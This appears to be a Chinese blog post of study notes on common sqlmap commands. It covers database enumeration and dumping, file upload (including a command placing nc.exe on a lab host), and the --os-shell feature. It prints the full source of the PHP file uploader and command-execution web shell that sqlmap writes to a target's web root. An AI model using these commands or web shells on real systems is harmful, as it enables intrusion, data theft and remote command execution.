Sqlmap常見命令


Sqlmap常見命令

借着復習mysql的機會再重新復習一下sqlmap,因為參數太多了,我只記錄一下自己常用的命令,如果想看詳細大全,可以看一下大佬們的完整版

文章參考

https://blog.csdn.net/Breeze_CAT/article/details/80628392

https://blog.csdn.net/SHIGUANGTUJING/article/details/91429067

想了解sql注入流程的可以看一下

https://sherlocz.github.io/2019/06/29/sqlmap-p/

1.選項

-h,--help  顯示基本幫助信息並退出
-hh  顯示高級幫助信息並退出
--version  顯示程序版本信息並退出

2.目標

在這些選項中必須提供至少有一個確定目標

-u  目標URL  
例:sqlmap -u "www.abc.com/index.php?id=1"
-m  后接一個txt文件,文件中是多個url,sqlmap會自動化的檢測其中的所有url。
例:sqlmap -m target.txt
-r  可以將一個post請求方式的數據包(bp抓包)保存在一個txt中,sqlmap會通過post方式檢測目標。
例:sqlmap -r bp.txt

3.請求

這些選項可以用來指定如何連接到目標URL

--method=METHOD 指定是get方法還是post方法。
例: --method=GET --method=POST
--random-agent  使用隨機user-agent進行測試。sqlmap有一個文件中儲存了各種各樣的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3時會檢測user-agent注入。
--proxy=PROXY 指定一個代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。

4.注入

這些選項可用於指定要測試的參數、提供自定義注入有效載荷和可選的篡改腳本。

-p  測試參數
例:  sqlmap -r bp.txt -p "username"
--skip-static  跳過測試靜態參數(有的時候注入有多個參數,那么有些無關緊要的參數修改后頁面是沒有變化的)
--no-cast  獲取數據時,sqlmap會將所有數據轉換成字符串,並用空格代替null。(這個在我們注入失敗的時候偶爾會見到,提示嘗試使用--no-cast)
--tamper=TAMPER 使用sqlmap自帶的tamper,或者自己寫的tamper,來混淆payload,通常用來繞過waf和ips。

5.檢測

這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容

--level=LEVEL  執行測試的等級(1-5,默認為1) 
lv2:cookie; lv3:user-agent,refere; lv5:host 
在sqlmap/xml/payloads文件內可以看見各個level發送的payload  我常使用--level 3
--risk=RISK  執行測試的風險(0-3,默認為1) 
risk 2:基於事件的測試;risk 3:or語句的測試;risk 4:update的測試
升高風險等級會增加數據被篡改的風險。  常用就是默認1

6.枚舉

這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。 脫庫時使用

-b, --banner        獲取數據庫管理系統的標識
--current-user      獲取數據庫管理系統當前用戶
--current-db        獲取數據庫管理系統當前數據庫
--hostname          獲取數據庫服務器的主機名稱
--is-dba            檢測DBMS當前用戶是否DBA
--users             枚舉數據庫管理系統用戶
--passwords         枚舉數據庫管理系統用戶密碼哈希
--privileges        枚舉數據庫管理系統用戶的權限
--dbs			   枚舉數據庫管理系統數據庫
--tables		   枚舉DBMS數據庫中的表
--columns		   枚舉DBMS數據庫表列
-D                  要進行枚舉的指定數據庫名
-T                  要進行枚舉的指定表名
-C                  要進行枚舉的指定列名
--dump			   轉儲數據庫表項,查詢字段值
--search  		   搜索列(S),表(S)和/或數據庫名稱(S)
--sql-query=QUERY   要執行的SQL語句
--sql-shell         提示交互式SQL的shell

7.文件操作

這些選項可以被用來訪問后端數據庫管理系統的底層文件系統

--file-read=RFILE     從后端的數據庫管理系統文件系統讀取文件
--file-write=WFILE    編輯后端的數據庫管理系統文件系統上的本地文件
--file-dest=DFILE     后端的數據庫管理系統寫入文件的絕對路徑

在kali中將/software/nc.exe文件上傳到C:/WINDOWS/Temp下:

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write="/software/nc.exe" --file-dest="C:/WINDOWS/Temp/nc.exe"

8.操作系統訪問

這些選項可以用於訪問后端數據庫管理系統的底層操作系統

--os-cmd=OSCMD   	執行操作系統命令(OSCMD)
--os-shell          交互式的操作系統的shell

os-shell的原理

文章參考

https://www.cnblogs.com/lcamry/p/5505110.html

當我們運行--os-shell的時候,首先要選擇語言(默認為php)

1566890423408

然后需要輸入網站的絕對路徑,我的是默認目錄/var/www/html/選1,如果需要自己輸入的話選2

1566890510274

然后在/var/www/html下會多出兩個php文件,這兩個php文件就是--os-shell寫入的shell文件

1566889930266

我們看一下內容

tmputade.php

<?php
if (isset($_REQUEST["upload"]))
{
	$dir=$_REQUEST["uploadDir"];
	if (phpversion()<'4.1.0')
	{
		$file=$HTTP_POST_FILES["file"]["name"];
		@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}
	else
	{
		$file=$_FILES["file"]["name"];
		@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}
	@chmod($dir."/".$file,0755);echo "File uploaded";
}
else 
{
	echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>

實現的就是上傳文件,同時根據phpversion,將上傳的文件的權限進行修改。 (大概作用就是用來判斷php版本?否則直接寫入下面的執行腳本就好了,這個上傳腳本不是多此一舉嗎?)

tmpbixkl.php

<?php 
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z))
{
	$z=preg_replace("/[, ]+/",',',$z);
	$z=explode(',',$z);
	$z=array_map("trim",$z);
}
else
{
	$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{
	global $z;
	return is_callable($n)and!in_array($n,$z);
}
if(f("system"))
{
	ob_start();
	system($c);
	$w=ob_get_clean();
}
elseif(f("proc_open"))
{
	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
	$w=NULL;
	while(!feof($t[1]))
	{
		$w.=fread($t[1],512);
	}
	@proc_close($y);
}
elseif(f("shell_exec"))
{
	$w=shell_exec($c);
}
elseif(f("passthru"))
{
	ob_start();
	passthru($c);
	$w=ob_get_clean();
}
elseif(f("popen"))
{
	$x=popen($c,r);
	$w=NULL;
	if(is_resource($x))
	{
		while(!feof($x))
		{
			$w.=fread($x,512);
		}
	}
	@pclose($x);
}
elseif(f("exec"))
{
	$w=array();
	exec($c,$w);
	$w=join(chr(10),$w).chr(10);
}
else{$w=0;}
echo"<pre>$w</pre>";?>

上述代碼實現了os-shell得到了命令后,如何執行命令以及輸出執行結果到os-shell中 。

os-shell使用條件

  • 網站必須是root權限(current_user()='root')
  • 網站的絕對路徑
  • GPC為off(默認為off)

網上說的都是這三個條件,可是我三個條件都滿足了仍然無法使用os-shell,后來發現雖然數據庫是root@localhost權限但是往系統里寫文件時的權限是mysql而不是root

1566891862851

/var/www/html默認權限是755,除了root用戶其他用戶沒有寫的權限,就無法將上面的兩個php文件寫入目錄里,所以使用條件只有這3個就可以嗎?還是因為什么原因?這個還沒想明白,先記錄一下這個問題。

如果有錯誤或者知道原因的大佬希望可以評論一下,指出問題,感激不盡


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM